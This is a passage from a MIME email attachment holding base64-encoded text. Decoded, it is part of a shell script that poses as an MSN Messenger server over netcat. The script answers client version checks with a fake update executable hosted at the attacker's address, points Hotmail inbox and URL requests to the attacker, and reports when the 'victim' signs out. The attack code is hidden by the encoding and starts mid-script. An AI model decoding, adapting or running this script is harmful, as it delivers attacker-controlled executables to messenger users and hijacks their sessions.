b1wKbjogMS4wXHJcbkNvbnRlbnQtVHlwZTogdGV4dC94LW1zbXNnc2luaVwK dGlhbGVtYWlsbm90aWZpY2F0aW9uOyBjaGFyc2V0PVVURi04XHJcblwKXHJc bkluYm94LVVucmVhZDogJG5ybXNnIFxyXG5Gb2xkZXJzLVVucmVhZDogJG5y ZmxkXApcclxuSW5ib3gtVVJMOiAvJHJlbG9naW4iIlxyXG5Gb2xkZXJzXAot VVJMOiAvJHJlbG9naW4iIlxyXG5HZXQtVVJMOiBodHRwXAovLyRNWUlQXHJc blxyIgppZiBbICRNT0RFID0gIjQiIF07IHRoZW4KZWNobyAtZSAiQ1ZSICRu dW0gMTIuNjY2LjY2NiAxMi42NjYuNjY2IDkuMC4wODYzIGhcCnR0cDovLyRN WUlQL1wKbW1zc2V0dXAuZXhlIGh0dHA6Ly8kTVlJUC9cciIKZWxzZQplY2hv IC1lICJDVlIgJG51bSAkdmVyc2lvbiAkdmVyc2lvbiAxLjAuMDg2MyBoXAp0 dHA6Ly9kb3dubG9hZC5taWNyb3NvZnQuY29tL2Rvd25sb2FkL1wKbXNubWVz c2VuZ2VyL1BhdGNoLzIuMS9XaW45OC9FTi1VUy9tc2dcCnN0cnN0LmRsbCBo dHRwOi8vbWVzc2VuZ2VyLm1zbi5jb20vXHIiCmZpCmV4cG9ydCBmbGFnPSIz IgplY2hvIC1lICJCUFIgJG51bSBDM3JiM3JAaG90bWFpbC5jb20gUEhIXHIi CmVjaG8gLWUgIkJQUiAkbnVtIEMzcmIzckBob3RtYWlsLmNvbSBQSFdcclxu QlBSICRudW1cCiBjM3JiM3JAaG90bWFpbC5jb20gUEhNXHJcbkJQUiAkbnVt IGMzcmIzckBoXApvdG1haWwuY29tIE1PQiBOXHIiCnVzbGVlcCAkZGVsYXkK aWYgWyAkTU9ERSA9ICIzIiBdOyB0aGVuCmVjaG8gLWUgICJBREQgMCBBTCBD cmFzaCBDcmFzaCBcciIKdXNsZWVwICRkZWxheQpleGl0IDAKZmkKZmkKZmkK dXNsZWVwICRkZWxheSAKOzsKCgoKQ0hHKQoKZXhwb3J0IGNoZz0kKCBlY2hv ICIkcGFyc2VkInwgZWdyZXAgIkNIRyIpCmNhdCAuL2xvZyB8IHNlZCAtZSAi cy9DSEcvY2hnLyIgPiAuL2xvZwp1c2xlZXAgJGRlbGF5IAo7OwoKT1VUKQpo dG1sX2NsZWFuZXIKZXhpdCAwCjs7CgpVUkwpCgpjYXQgLi9sb2cgfCBzZWQg LWUgInMvVVJML3VybC8iID4gLi9sb2cKZWNobyAtZSAiVVJMICRudW0gL3d3 dy5ob3RtYWlsLmNvbSBodHRwOi8vIiRNWUlQIi9jL3MuZGxsLyIkcmVsb2dp biAwIlwKXHIiCnVzbGVlcCAkZGVsYXkgCjs7Cgplc2FjIApmaQpkb25lCil8 IG5jIC13IDUgLXMgJG1lc3NlbmdlciAgLW4gLWwgLXAgJFBPUlQgPiAuL2xv ZyAyPi9kZXYvbnVsbCAgCgplZ3JlcCAtZSAnT1VUJyAuL2xvZyA+IC9kZXYv bnVsbAppZiBbICEgJD8gLWVxIDEgXTsgdGhlbgplY2hvCmVjaG8gIlZpY3Rp bSBoYXMgc2lnbmVkIG91dC4uLi4iCmVjaG8gInNlZSAuL2xvZyBmb3IgZGV0 YWlscy4iCmVjaG8KZmkKCmRvbmUKCg== ------=_NextPart_000_6832_6b77_2de--
| |||||||||||||||||||||